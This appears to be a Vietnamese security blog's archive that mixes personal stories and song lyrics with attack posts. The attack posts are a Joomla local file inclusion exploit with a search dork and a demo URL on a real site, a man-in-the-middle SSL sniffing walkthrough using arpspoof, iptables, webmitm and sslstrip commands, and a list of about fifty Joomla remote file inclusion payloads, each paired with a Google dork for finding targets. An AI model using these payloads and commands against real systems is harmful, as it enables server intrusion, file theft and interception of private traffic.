Biết nói làm sao ?

Tôi vừa bước vào nhà, chưa kịp đóng cửa, thì bất thình lình một em gái trẻ, trên tay ẫm một đứa bé khoảng vài tháng tuổi, vừa nói vừa hỏi gì đó, rồi đột nhiên bước thẳng vào nhà tôi.

bệnh nghề nghiệp khiến tôi nghi ngờ mọi thứ, nên khỏi phải nói là lúc đó tôi hoang mang đến cỡ nào, khi tự dưng một người lạ cố tình bắt chuyện, và không cần tôi đồng ý, đã xông thẳng vào nhà tôi. mà khu tôi ở nổi tiếng là có nhiều thành phần bất hảo nữa chứ.

không cần tôi hỏi, em gái tự giới thiệu luôn. hóa ra đây là hàng xóm của tôi, ở phía đối diện với khu nhà mà tôi đang thuê. tôi dọn về đây cũng 3 tháng rồi, nhưng ngoại trừ hai ông bà già nhà bên cạnh ra, thì tôi chẳng biết ai cả. cứ đi làm về là tôi chui thẳng vào nhà, khóa cửa, ở lỳ trong đó cho đến khi cần phải ra ngoài.

anh thuê nhà này của chị Tuyết hả? bao nhiêu một tháng vậy anh? trời sao tự dưng chưa gì đã hỏi một câu hỏi liên quan đến tiền, mà lại là câu hỏi mà tôi ghét nhất nữa chứ. tôi không thích nói chuyện về tiền bạc với người lạ. nên tôi nói dối.

àh khoảng 4 triệu một tháng.

trời 4 triệu một tháng lận hả? sao nhiều tiền quá vậy. em nghe nói là chị Tuyết còn bắt phải đóng thế chân 1 tháng phải hông anh? em gái vừa hỏi vừa đảo mắt nhìn khắp nhà.

àh không, phải thế chân 3 tháng.

nhà bự vậy mà anh ở một mình hả? trời lại thêm một câu hỏi mà tôi rất ghét. tôi không muốn người lạ biết tôi ở một mình. nên tôi lại nói dối.

àh không, còn có vài đứa em. tôi nhấn mạnh chữ vài đứa em. cô gái lại đảo mắt nhìn khắp nhà tôi thêm một lần nữa. tôi tranh thủ liếc mắt nhìn kỹ kẻ lạ mặt khả nghi.

chà, trông có duyên ghê luôn. àh không phải nói là đẹp. kiểu đẹp của con gái mới lớn, trông rất hồn nhiên xinh tươi. hmm, thì đúng rồi, phải đẹp mới lừa được mấy thằng mê gái như mình. thành ra càng đẹp càng phải cẩn thận.

em nói với anh chuyện này anh đừng nói ai nghe nha. trời ơi, tự dưng hắn lại đổi sang giọng nghiêm trọng nghe ghê quá. thôi rồi, chắc là chuẩn bị tung chiêu đây mà. căng thẳng quá T_T.

chồng em làm hồ, mấy bữa nay Tết, không có việc làm, phải nghỉ ở nhà. mà khổ nỗi, con em thì nó không thể nghỉ uống sữa bữa nào. hồi chiều ổng kêu thôi để ổng đi lên chỗ ông thầu, mượn ba trăm về mua sữa, mà ổng đi từ chiều đến giờ chưa về nữa. con nhỏ nó đói nó khóc quá trời. anh cho em mượn một trăm rưỡi được không anh? khi nào có tiền em sẽ trả anh liền.

tôi liếc nhanh nhìn đứa bé. một bé gái, chắc khoảng vài tháng tuổi (sau đó tôi mới biết là đã hơn 1 tuổi), nhưng mà sao nó xanh xao ốm yếu quá. trời ơi. tôi gần như bất động trong vài giây. bao nhiêu nghi ngờ biến mất, chỉ còn lại ngay trước mắt tôi, một đứa bé đói đến lả người vì ba má nó không có một trăm rưỡi. một trăm rưỡi!!!

anh an tâm đi. hồi nãy ông thầu có gọi điện cho em, ổng kêu đã cho chồng em mượn tiền rồi, nhưng ổng bắt chồng em phải ở lại nhậu với ổng. nên chắc trễ lắm là sáng mai chồng em sẽ đem tiền về. em sẽ đem qua trả lại cho anh liền. em vừa nói vừa nhìn tôi thăm dò. chắc là do thấy tôi giống như đang lưỡng lự. mà thiệt ra, tôi nào có lưỡng lự gì đâu, mà chỉ thấy buồn vui lẫn lộn.

người phụ nữ nhỏ bé này chắc hẳn sẽ sẵn sàng làm mọi thứ để có tiền mua sữa cho con. tôi dám cam đoan là như thế. nếu không em ấy đã chẳng dám đi thẳng vào nhà người lạ, xã giao vài câu rồi hỏi mượn tiền ngay. thiệt là dũng cảm.

có thể tôi đã bị lừa, nhưng tôi nghĩ ở đời có nhiều thứ chúng ta nên tin và phải tin, bất kể là thật giả đúng sai, bởi vì chúng đáng được tin. đó là con người về bản chất là tốt. đó là tình mẫu tử là thứ tình cảm mạnh mẽ nhất trên đời…

niềm tin sẽ tạo thành niềm vui. ờ, còn gì vui hơn đầu năm mà đã chứng kiến tình cảm mẹ con dạt dào mạnh mẽ thế này. nhưng rồi lại thấy buồn rười rượi. buồn cho người mẹ trẻ, hồng nhan bạc phận. buồn cho đứa bé, hôm nay có tiền mua sữa, rồi ngày mai ngày kia sẽ ra sao? rồi lớn lên sẽ lại bạc phận hồng nhan…

[ Duong Ngoc Thai ]

Ra đời website http://vietmatrix.net

Chào các bạn , được sự giúp đỡ của anh Alex và ủng hộ của các anh chị bên blogs Viet Matrix Revolutions , nay ban quản trị website http://vietmatrix.net cho hoạt động diễn đàn về security , cntt

Mong các bạn ủng hộ

Người Đàn Bà Đi Nhặt Mặt Trời – Thiên Kim

Người Đàn Bà Đi Nhặt Mặt Trời
Đức Tiến

Người đàn bà đi nhặt mặt trời
Trên đống bỏ hoang của loài người
Màn đêm che lối
Tưởng rằng nắng tươi
Sương đọng trên lá
Ngỡ giọt nắng rơi
Quên hết vì đâu
Đời mình nên tội

Người đàn bà đi nhặt cuộc tình
Không nhớ người quen bỏ mặc mình
Tuổi xanh khát nắng
Giữa đời cháy da
Đưa mặt lên khóc
Thương tình xót xa
Hay khóc người xưa
Lệ nào cho vươn

Người đàn bà đi nhặt đời mình
Trên đống bỏ hoang đầy tội tình
Cỏ cây như đưa
Mơ hồ biết đâu
Con đường đêm vắng
Côn trùng ruỗi nhau
Chia chát niềm đau
Đời người phai mau

Người đàn bà đi nhặt mặt trời
Hong ấm tình yêu của loài người
Buồn thương nơi ấy
Có người hóa điên
Quen mùi chăn gối
Nhưng chẳng nhớ tên
Trên đống bỏ hoang mà lầm thiên đàng
Trên đống bỏ hoang mà lầm thiên đàng

Site bị chèn virus – Malware – Iframe . . . (Phần 1)

Hi các bạn hiện nay có rất nhiều site trên internet bị chèn iframe , malware , javascript . . . có nhiều nguyên nhân dẫn đến hiện tượng này  , nguyên nhân và hướng khác phục tôi sẽ trình bàyở phần 2 .

Các loại virus thường gặp như:

P2P-Worm.Win32.Franvir

Lemena.3544

Kot.b

EICAR-Test-File

Virus.Boot-DOS.V.1526

Macro.Viso.Radiant

Virus.BAT.8Fish

Trojan-Clicker.Win32.small.k

Trojan-Spy.HTML.Bankfraud

. . . .

Hiện tượng khi truy cập internet ở client (nhiễm các loại trên )

Attack from: 59.64.27.21 port: 9536

Attacked port: 1

Threat: Email-Worm.JS.Gigger

Tương tự cho các loại khác

Một số loại vào sửa file hệ thống , chèn iframe , malware vào code website . . .

Ở bài này tôi chỉ xin giới thiệu sơ lượt như vậy .

Cách khắc phục và phân tích sẽ có ở các bài tiếp theo

[ Mình chuyển qua sài linux rồi ) ]

Click view images

Ghi rõ nguồn Viet Matrix Revolutions khi phát hành lại thông tin này

By: AlexBTP

Con Tim Giá Băng – Triệu Hoàng

Lâu lắm rồi mới có bài hát music và vũ đạo có thể chấp nhận được như thế này

Joomla Component com_janews

####################################################################

.:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn]

.:. Team : Sec Attack Team

.:. Home : www.sec-attack.com/vb

.:. Script : Joomla Component com_janews

.:. Bug Type : Local File Inclusion [LFI]

.:. Dork : inurl:"com_janews"

####################################################################

===[ Exploit ]===

www.site.com/index.php?option=com_janews&controller=[LFI]

www.site.com/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00

####################################################################

Hiện có rất nhiều web ở Việt Nam dùng com này

Demo:

http://www.cynosura.org/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00

Đáng chú ý hơn nữa web www.smot.gov.vn đã bị chèn virus các bạn không nên vào

Admin các web có dùng com này nên update sửa lỗi

Chúng tôi không chịu trách nhiệm về các site đăng trên đầy và lỗi của com này

AlexBTP – Viet Matrix Revolutions

SSL Sniffing

SSL sniffing

E-mail: okan[at]deu.edu.tr

http://www.knyksl.com/

Basic Information

What is SSL?

SSL (Secure Socket Layer) protocol was firstly developed in the year
of 1994 with the aim of providing safe data transferring, by Netscape.
In 1996, in concur with being invented its 3.0 version, it turned out to
be a standard that all internet browsers (Microsoft Explorer, Netscape,
Navigator, etc.) identify. With the help of SSL, it was aimed that the
datas delivered by using HTTPS technology between Web Server and
Web Browser would protect against attackers. The transmission status
with the web sites running under the SSL security is represented with
the golden-colored lock in browsers. The identification process
between Server and Client is provided with a crypto system based on a
public-private key encryption.

What is the need for SSL?

Together with the internet that has become a must-have in today’s
world, the safety of the data on the line has also come into an
immensely importance. The confidance of the institutional or personal
private datas on the line is highly critical and vulnerable. It is
necessary to deliver the data accurately to the other side and not to be
followed by the others during the data transferring process. With the
aim of meeting these needs Secure Sockets Layer was developed.
Signed Certificates
For the web projects in which the safety is more important, the
certificates signed digitally are used. The certificate is actually a file
including some information about the set up. At the same time, it also
includes the public key of the public-private key couple of the
installation. The server certificate includes the information about the
corporation operating that server. The certificates are given out by the
corporations which have the authority for signed certificates
(Globalsign, thawte, etc.). It is connected to the web sites under the
SSL security with the https request. The server sends to the Client the
public key information. Client asks the corporation which signes the
certification the validity of the key. If it is valid, it approves to the
browser that it is connected to a secure web site. Server can see the
information which is encoded by the public key only with the private
key which is available in itself.
Attack Types and Tools
In the committed tests, Backtrack 3.0 Linux was used. In this
document, it was dealed with two attack types with the intention of
accessing the datas in the SSL traffic. Both were formed using the
technique known as MiTM (man in the middle).
Sniffing with MiTM is an effective attack type for the switched
networks. With ARP reply packets, the target ARP table is poisoned.
So attacker seizes an analysis chance for the target data.
Tools
✔ Backtrack 3.0 Live CD

http://www.remoteexploit.org/backtrack.html

✔ Arpspoof (MiTM)
✔ Sslstrip http://www.thoughtcrime.org/software/sslstrip/
✔ Webmitm
✔ Ssldump
✔ Iptables

The attacker who penetrates between server and client with the first
technique attains the data using ssldump software with the insecure
certificate that he approves himself.

# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A PREROUTING -p tcp –dport 443 -j REDIRECT
# iptables -A FORWARD -j ACCEPT
# arpspoof -t <target> <gateway>
# webmitm -d
#./ssldump -n -d -k webmitm.crt | tee ssldump.log

In the second technique, the attacker who penetrates between server
and client, in brief, attains the data organizing https connection as to
run with the http technique. Sslstrip software is programmed with
Python programming language. Sslstrip default port number is 10000.
It runs similarly with Transparent Proxy logic.

# echo 1 > /proc/sys/net/ipv4/ip_forward
# arpspoof -i eth0 -t 192.168.1.6 192.168.1.1
# iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j
REDIRECT –to-ports 10000
# ./sslstrip –w gelenveri

Links

http://www.blackhat.com/presentations/bh-dc-

09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf

http://forums.remote-exploit.org/tutorials-guides/3157-ssl-sniffingusing-

ssldump-webmitm-arpspoof.html

Joomla RFI Summary

In this paper I will show you ~50 Joomla’s RFI vulnerabilities ( D0rks & P0Cs )

And maybe this week, if I’m free I’ll make a php scanner 4 all these bugs
if you wanted it contact me after +3 days (until I finished it).

0———————————————————————————
Google Dork:
NULL(empty)

P0C By Mr.aFiR:
NULL(empty)
1———————————————————————————
Google Dork:
inurl:”com_admin”

P0C By Mr.aFiR:
/administrator/components/com_admin/admin.admin.html.php?mosConfig_absolute_path=shell
2———————————————————————————
Google Dork:
inurl:index.php?option=com_simpleboard

P0C By Mr.aFiR:
/components/com_simpleboard/file_upload.php?sbp=shell
3———————————————————————————
Google Dork:
inurl:”com_hashcash”

P0C By Mr.aFiR:
/components/com_hashcash/server.php?mosConfig_absolute_path=shell
4———————————————————————————
Google Dork:
inurl:”com_htmlarea3_xtd-c”

P0C By Mr.aFiR
/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=shell
5———————————————————————————
Google Dork:
inurl:”com_sitemap”

P0C By Mr.aFiR
/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=shell
6———————————————————————————
Google Dork:
inurl:”com_performs”

P0C By Mr.aFiR:
/components/com_performs/performs.php?mosConfig_absolute_path=shell
7———————————————————————————
Google Dork:
inurl:”com_forum”

P0C By Mr.aFiR:
/components/com_forum/download.php?phpbb_root_path=
8———————————————————————————
Google Dork:
inurl:”com_pccookbook”

P0C By Mr.aFiR:
/components/com_pccookbook/pccookbook.php?mosConfig_absolute_path=shell
9———————————————————————————
Google Dork:
inurl:index.php?option=com_extcalendar

P0C By Mr.aFiR:
/components/com_extcalendar/extcalendar.php?mosConfig_absolute_path=shell
10——————————————————————————–
Google Dork:
inurl:”minibb”

P0C By Mr.aFiR:
/components/minibb/index.php?absolute_path=shell
11——————————————————————————–
Google Dork:
inurl:”com_smf”

P0C By Mr.aFiR:
/components/com_smf/smf.php?mosConfig_absolute_path=
P0C2 By Mr.aFiR:
/modules/mod_calendar.php?absolute_path=shell
12——————————————————————————–
Google Dork:
inurl:”com_pollxt”

P0C By Mr.aFiR:
/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=shell
13——————————————————————————–
Google Dork:
inurl:”com_loudmounth”

P0C By Mr.aFiR:
/components/com_loudmounth/includes/abbc/abbc.class.php?mosConfig_absolute_path=shell
14——————————————————————————–
Google Dork:
inurl:”com_videodb”

P0C By Mr.aFiR:
/components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=shel l
15——————————————————————————–
Google Dork:
inurl:index.php?option=com_pcchess

P0C By Mr.aFiR:
/components/com_pcchess/include.pcchess.php?mosConfig_absolute_path=shell
16——————————————————————————–
Google Dork:
inurl:”com_multibanners”

P0C By Mr.aFiR:
/administrator/components/com_multibanners/extadminmenus.class.php?mosConfig_absolute_path=sh ell
17——————————————————————————–
Google Dork:
inurl:”com_a6mambohelpdesk”

P0C By Mr.aFiR:
/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=shel l
18——————————————————————————–
Google Dork:
inurl:”com_colophon”

P0C By Mr.aFiR:
/administrator/components/com_colophon/admin.colophon.php?mosConfig_absolute_path=shell
19——————————————————————————–
Google Dork:
inurl:”com_mgm”

P0C By Mr.aFiR:
/administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path=shell
20——————————————————————————–
Google Dork:
inurl:”com_mambatstaff”

P0C By Mr.aFiR:
/components/com_mambatstaff/mambatstaff.php?mosConfig_absolute_path=shell
21——————————————————————————–
Google Dork:
inurl:”com_securityimages”

P0C By Mr.aFiR:
/components/com_securityimages/configinsert.php?mosConfig_absolute_path=shell

P0C2 By Mr.aFiR:
/components/com_securityimages/lang.php?mosConfig_absolute_path=shell
22——————————————————————————–
Google Dork:
inurl:”com_artlinks”

P0C By Mr.aFiR:
/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=shell
23——————————————————————————–
Google Dork:
inurl:”com_galleria”

P0C By Mr.aFiR:
/components/com_galleria/galleria.html.php?mosConfig_absolute_path=shell
24——————————————————————————–
Google Dork:
inurl:”com_akocomment”

P0C By Mr.aFiR:
/akocomments.php?mosConfig_absolute_path=shell
25——————————————————————————–
Google Dork:
inurl:”com_cropimage”

P0C By Mr.aFiR:
/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=shell
26——————————————————————————–
Google Dork:
inurl:”com_kochsuite”

P0C By Mr.aFiR:
/administrator/components/com_kochsuite/config.kochsuite.php?mosConfig_absolute_path=shell
27——————————————————————————–
Google Dork:
inurl:”com_comprofiler”

P0C By Mr.aFiR:
/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=shell
28——————————————————————————–
Google Dork:
inurl:”com_zoom”

P0C By Mr.aFiR:
/components/com_zoom/classes/fs_unix.php?mosConfig_absolute_path=shell

P0C2 By Mr.aFiR:
/components/com_zoom/includes/database.php?mosConfig_absolute_path=shell
29——————————————————————————–
Google Dork:
inurl:”com_serverstat”

P0C By Mr.aFiR:
/administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path=she ll
30——————————————————————————–
Google Dork:
inurl:”com_fm”

P0C By Mr.aFiR:
/components/com_fm/fm.install.php?lm_absolute_path=shell
31——————————————————————————–
Google Dork:
inurl:com_mambelfish

P0C By Mr.aFiR:
/administrator/components/com_mambelfish/mambelfish.class.php?mosConfig_absolute_path=shell
32——————————————————————————–
Google Dork:
inurl:com_lmo

P0C By Mr.aFiR:
/components/com_lmo/lmo.php?mosConfig_absolute_path=shell
33——————————————————————————–
Google Dork:
inurl:com_linkdirectory

P0C By Mr.aFiR:
/administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php?mosConfig_absolute_ path=shell
34——————————————————————————–
Google Dork:
inurl:com_mtree

P0C By Mr.aFiR:
/components/com_mtree/Savant2/Savant2_Plugin_textarea.php?mosConfig_absolute_pat h=shell
35——————————————————————————–
Google Dork:
inurl:com_jim

P0C By Mr.aFiR:
/administrator/components/com_jim/install.jim.php?mosConfig_absolute_path=shell
36——————————————————————————–
Google Dork:
inurl:com_webring

P0C By Mr.aFiR:
/administrator/components/com_webring/admin.webring.docs.php?component_dir=shell
37——————————————————————————–
Google Dork:
inurl:com_remository

P0C By Mr.aFiR:
/administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=
38——————————————————————————–
Google Dork:
inurl:com_babackup

P0C By Mr.aFiR:
/administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=shell
39——————————————————————————–
Google Dork:
inurl:com_lurm_constructor

P0C By Mr.aFiR:
/administrator/components/com_lurm_constructor/admin.lurm_constructor.php?lm_absolute_path=shell
40——————————————————————————–
Google Dork:
inurl:com_mambowiki

P0C By Mr.aFiR:
/components/com_mambowiki/ MamboLogin.php?IP=shell
41——————————————————————————–
Google Dork:
inurl:com_a6mambocredits

P0C By Mr.aFiR:
/administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=shell
42——————————————————————————–
Google Dork:
inurl:com_phpshop

P0C By Mr.aFiR:
/administrator/components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=s hell
43——————————————————————————–
Google Dork:
inurl:com_cpg

P0C By Mr.aFiR:
/components/com_cpg/cpg.php?mosConfig_absolute_path=shell
44——————————————————————————–
Google Dork:
inurl:com_moodle

P0C By Mr.aFiR:
/components/com_moodle/moodle.php?mosConfig_absolute_path=shell
45——————————————————————————–
Google Dork:
inurl:com_extended_registration

P0C By Mr.aFiR:
/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_p ath=shell
46——————————————————————————–
Google Dork:
inurl:com_mospray

P0C By Mr.aFiR:
/components/com_mospray/scripts/admin.php?basedir=shell
47——————————————————————————–
Google Dork:
inurl:com_bayesiannaivefilter

P0C By Mr.aFiR:
/administrator/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=shell
48——————————————————————————–
Google Dork:
inurl:com_uhp

P0C By Mr.aFiR:
/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=shell
49——————————————————————————–
Google Dork:
inurl:com_peoplebook

P0C By Mr.aFiR:
/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=shell
50——————————————————————————–
Google Dork:
inurl:com_mmp

P0C By Mr.aFiR:
/administrator/components/com_mmp/help.mmp.php?mosConfig_absolute_path=shell
51——————————————————————————–
Google Dork:
inurl:com_reporter

P0C By Mr.aFiR:
/components/com_reporter/processor/reporter.sql.php?mosConfig_absolute_path=shell
52——————————————————————————–
Google Dork:
inurl:com_madeira

P0C By Mr.aFiR:
/components/com_madeira/img.php?url=shell
53——————————————————————————–
Google Dork:
inurl:com_jd-wiki

P0C By Mr.aFiR:
/components/com_jd-wiki/lib/tpl/default/main.php?mosConfig_absolute_path=shell
54——————————————————————————–
Google Dork:
inurl:com_bsq_sitestats

P0C By Mr.aFiR:
/components/com_bsq_sitestats/external/rssfeed.php?baseDir=shell

P0C2 By Mr.aFiR:
/com_bsq_sitestats/external/rssfeed.php?baseDir=shell

Thật giả – giả thật

Nay đi đâu cũng gặp thật và giả , nhưng giả nhiều hơn thật
- Mua hàng từ đồ điện tử đến thức ăn cũng phải luôn hỏi câu có phải hàng made in china hay không ? (Hỏi vậy thì ai mà trả lời ” Ừ hàng china ” bao giờ ) .
- Có 1 lần vào mua hàng mình hỏi ” Chị ơi ở đây có bán hàng china không bán cho em vài cái ” thế là ” em cứ chọn đi ơ đây hàng china em muốn lấy bao nhiêu cũng có ” choáng choáng thế mà hôm trước mình hỏi cũng chị này lại bảo đảm ” ở đây không bán hàng giả ” )

Giờ đến nhạc  cũng bị ăn cắp = ))

bảo thy đạo nhạc của người khác hay ngược lại

P/s: có 1 số từ đáng ra phải viết hoa nhưng tôi không thể viết hoa )

South Korea Marine Corps – Search/Seek and destroy

South Korea Marine Corps -  Search/Seek and destroy